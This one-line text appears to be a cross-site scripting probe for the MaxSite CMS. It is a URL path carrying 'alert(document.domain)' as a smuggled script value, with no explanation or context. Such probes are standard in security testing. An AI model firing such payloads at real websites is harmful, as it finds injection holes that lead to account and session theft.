xss/maxsite/page/1alert(document.domain)